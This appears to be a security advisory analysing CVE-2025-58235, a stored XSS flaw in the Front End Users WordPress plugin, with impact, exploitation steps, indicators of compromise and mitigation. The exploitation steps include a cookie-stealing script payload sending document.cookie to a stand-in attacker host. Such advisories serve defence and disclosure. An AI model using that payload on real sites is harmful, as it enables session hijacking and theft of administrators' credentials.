CVE-2025-58235: 
WordPress vulnerability analysis and mitigation

CVE-2025-58235 is a Stored Cross-Site Scripting (XSS) vulnerability in the Front End Users WordPress plugin by Rustaurius (also known as Etoile Web Design). It affects all versions up to and including 3.2.35, allowing authenticated attackers with at least Contributor-level privileges to inject persistent malicious scripts into web pages. The vulnerability was published on September 22, 2025, with no official patch available at the time of disclosure. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied input is not adequately sanitized or escaped before being rendered in web pages. An authenticated attacker with Contributor or Developer-level access can inject malicious JavaScript or HTML payloads through plugin-controlled input fields, which are then stored in the database and executed in victims' browsers when they visit affected pages. The attack vector is network-based, requires low privileges, and necessitates user interaction (a privileged user viewing the injected content) for successful exploitation. The vulnerability was discovered and reported by researcher "theviper17" on July 31, 2025, and disclosed publicly on September 22, 2025 (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, enabling session hijacking, credential theft, unauthorized administrative actions, or defacement of the affected WordPress site. Because the payload is stored persistently, every user who visits the affected page is exposed without any further action required from the attacker. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users and potentially the broader site environment (Patchstack, Red Hat CVE).

The EPSS score for CVE-2025-58235 is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. No public proof-of-concept exploit code, active in-the-wild exploitation, or threat actor attribution has been reported. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, though this specific CVE is rated low priority (Patchstack, Feedly).

1. Reconnaissance: Identify WordPress sites running the Front End Users plugin (version ≤ 3.2.35) using tools like WPScan or by checking publicly accessible plugin metadata at /wp-content/plugins/front-end-only-users/readme.txt.
2. Obtain low-privilege access: Register or obtain Contributor or Developer-level credentials on the target WordPress site, as the vulnerability requires authenticated access.
3. Inject malicious payload: Navigate to the plugin's front-end user input fields (e.g., profile fields or forms managed by the plugin) and submit a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored in the WordPress database and associated with the plugin's output.
5. Trigger execution: When an administrator or other privileged user views the page or profile containing the injected content, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Patchstack).

• Logs: WordPress access logs showing POST requests to plugin-related endpoints (e.g., front-end user profile or form submission URLs) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:).
• Database: Unexpected <script> tags, encoded JavaScript, or HTML event attributes stored in WordPress database tables associated with the Front End Users plugin (e.g., wp_usermeta or custom plugin tables).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages rendered by the Front End Users plugin, potentially carrying cookie or session data as query parameters.
• File System: No direct file system artifacts expected for a stored XSS; however, monitor for new or modified PHP files in /wp-content/plugins/front-end-only-users/ that could indicate post-exploitation activity.

At the time of disclosure (September 22, 2025), no official patched version was available for the Front End Users plugin (≤ 3.2.35). Site administrators should monitor the WordPress plugin repository for an updated release and apply it immediately when available. As an interim measure, consider deactivating and removing the plugin until a patch is released, restricting Contributor-level user registration, or deploying a Web Application Firewall (WAF) rule to block XSS payloads targeting plugin input fields. Patchstack users can leverage virtual patching for immediate mitigation (Patchstack).

Wordfence included CVE-2025-58235 in its weekly WordPress vulnerability report for the period of September 22–28, 2025, indicating routine tracking of the issue within the WordPress security community (Wordfence). Patchstack, which coordinated the disclosure, rated the vulnerability as low priority with no significant threat activity observed at the time of publication (Patchstack). No notable vendor statements or broader media coverage have been identified.